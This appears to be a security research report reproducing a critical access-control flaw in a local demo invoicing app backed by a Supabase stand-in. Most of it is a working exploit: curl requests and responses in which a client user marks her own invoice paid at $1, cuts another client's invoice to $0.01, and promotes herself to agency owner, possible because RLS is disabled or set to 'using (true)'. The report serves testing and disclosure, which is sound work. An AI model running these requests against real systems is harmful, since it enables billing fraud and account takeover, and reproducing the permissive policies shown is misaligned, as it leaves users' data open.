Failure mode: FM3, FM5 (research/FAILURE_MODES.md) · Severity: critical · Reproduced: yes
Impact: Any client with a portal login can clear their own bills, change what other clients owe, and take over the agency account.
Target: the before app's backend (localbase, a local Supabase stand-in) on 127.0.0.1, seeded with fictional demo data. Regenerate with pnpm tsx before/exploits/fm03-client-edits-invoices.ts or pnpm tsx before/exploits/run-all.ts. Generated 2026-11-22T16:05:25.788Z.
Setup
sh
URL=http://127.0.0.1:4102
ANON=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... # the public anon key, readable in the JS bundle (before/.env VITE_SUPABASE_ANON_KEY)
JWT_PRIYA=$(curl -s -X POST "$URL/auth/v1/token?grant_type=password" -H "apikey: $ANON" -H "Content-Type: application/json" -d '{"email":"priya@bramblecoffee.example","password":"..."}' | jq -r .access_token)Steps
1. Sign in as priya@bramblecoffee.example (password grant, same call supabase-js makes)
sh
curl -s -X POST "$URL/auth/v1/token?grant_type=password" \
-H "apikey: $ANON" \
-H "Content-Type: application/json" \
-d '{"email":"priya@bramblecoffee.example","password":"demo-password-2026"}'Response: HTTP 200
json
{
"access_token": "eyJhbGciOiJIUzI1NiIsInR5... (636 chars)",
"token_type": "bearer",
"user": {
"id": "145a74b3-49d5-4f35-99c5-963f9af0a6b5",
"email": "priya@bramblecoffee.example",
"user_metadata": {
"role": "client",
"full_name": "Priya Raman"
}
},
"...": "(other fields trimmed)"
}2. Who am I? Priya is a client contact (role "client") of Bramble Coffee Roasters
sh
curl -s "$URL/rest/v1/memberships?select=role,client_id,org_id&user_id=eq.145a74b3-49d5-4f35-99c5-963f9af0a6b5" \
-H "apikey: $ANON" \
-H "Authorization: Bearer $JWT_PRIYA"Response: HTTP 200
json
[
{
"role": "client",
"client_id": "d58271c3-04c1-423e-9056-a6db2ba2c83f",
"org_id": "d10e897e-3fad-4fe7-8ce6-ea6c6b804e9c"
}
]3. Her own open invoice NLS-1006 as stored
sh
curl -s "$URL/rest/v1/invoices?select=number,status,total,paid_at&id=eq.4023ce2e-0693-4148-8356-78fadbbf7872" \
-H "apikey: $ANON" \
-H "Authorization: Bearer $JWT_PRIYA"Response: HTTP 200
json
[
{
"number": "NLS-1006",
"status": "sent",
"total": 3640,
"paid_at": null
}
]4. Mark NLS-1006 paid, with total $1, without paying
sh
curl -s -X PATCH "$URL/rest/v1/invoices?id=eq.4023ce2e-0693-4148-8356-78fadbbf7872&select=number,status,total,paid_at" \
-H "apikey: $ANON" \
-H "Authorization: Bearer $JWT_PRIYA" \
-H "Prefer: return=representation" \
-H "Content-Type: application/json" \
-d '{"status":"paid","total":1,"paid_at":"2026-11-22T16:05:25.779Z"}'Response: HTTP 200
json
[
{
"number": "NLS-1006",
"status": "paid",
"total": 1,
"paid_at": "2026-11-22T16:05:25.779+00:00"
}
]5. Rewrite NLS-1010, an invoice of a different client (Kestrel Physio) she is never shown
sh
curl -s -X PATCH "$URL/rest/v1/invoices?id=eq.947778c3-796f-4277-9780-d6a1fc84abd5&select=number,client_id,status,total" \
-H "apikey: $ANON" \
-H "Authorization: Bearer $JWT_PRIYA" \
-H "Prefer: return=representation" \
-H "Content-Type: application/json" \
-d '{"total":0.01}'Response: HTTP 200
json
[
{
"number": "NLS-1010",
"client_id": "af98fc4e-44cb-4a37-b8d0-fb3a66481f21",
"status": "sent",
"total": 0.01
}
]6. Promote herself from client to owner of the agency
sh
curl -s -X PATCH "$URL/rest/v1/memberships?user_id=eq.145a74b3-49d5-4f35-99c5-963f9af0a6b5&select=role,org_id" \
-H "apikey: $ANON" \
-H "Authorization: Bearer $JWT_PRIYA" \
-H "Prefer: return=representation" \
-H "Content-Type: application/json" \
-d '{"role":"owner","client_id":null}'Response: HTTP 200
json
[
{
"role": "owner",
"org_id": "d10e897e-3fad-4fe7-8ce6-ea6c6b804e9c"
}
]What this shows
- Database after the attack: NLS-1006 is "paid" with total 1 (was 3640); NLS-1010 total is 0.01 (was 5410); Priya's membership role is "owner".
- The portal hides "Mark paid", "Delete" and every other client's invoice from Priya with React checks only (src/components/ProtectedRoute.tsx AdminRoute,
{!isClient && ...}in src/pages/InvoiceDetail.tsx, and a browser-side.eq('client_id', ...)in src/hooks/useInvoices.ts) [FM5]. - invoices has RLS disabled, so status, total and paid_at are writable by any caller [FM3]. memberships has
for all using (true) with check (true), so the role column is too. - After step 5 the React app itself treats her as an owner: on her next load she gets the full admin sidebar.